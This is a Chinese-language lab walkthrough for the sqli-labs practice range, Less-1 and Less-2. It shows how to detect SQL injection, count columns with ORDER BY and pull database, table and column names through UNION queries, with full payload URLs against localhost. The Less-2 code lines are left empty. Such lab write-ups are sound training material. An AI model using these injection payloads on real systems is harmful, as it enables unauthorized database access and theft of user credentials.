首先先搭建sql-labs靶场环境(不会的百度搜一下有教程)
less-1
进入页面看到让输入ID
在地址栏后输入?id=1查看页面是否有变化
判断是否有sql注入,在后面跟一个',页面报sql语法错误证明有sql注入
输入--+页面回复正常证明闭合成功
使用orderby语句判断有几列(从一开始判断)
在输入4时页面报错,证明有三列
将id=1改为-1并使用联合查询找出回显位置,这里显示2和3为回显位置
在2的回显位置上输入database()找出当前数据库名
根据当前数据库名使用代码找出当前数据库下有那些数据表 代码如下:http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,database(),group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27%20--+
根据数据表名找出当前数据表下的所有列名 代码如下:http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,database(),group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27--+
根据给出的列名找出各列的名字以及密码(username和password中间使用~分隔开 以便分清)
less-2
进入页面请求输入ID
输入?id=1,发现页面有变化
输入'发现报错确定有sql注入
输入--+闭合发现不成功,把'删除发现闭合成功,判断为整型
使用orderby判断为3列
使用联合查询查看页面的回显值为2和3
查看数据库名和库内表名 代码如下:
用数据库名和表名查出表内各列的名称 代码如下:
用各列的值查找出表内的各值 代码如下:
当前先更新这么多,后面的内容下次更新,溜了~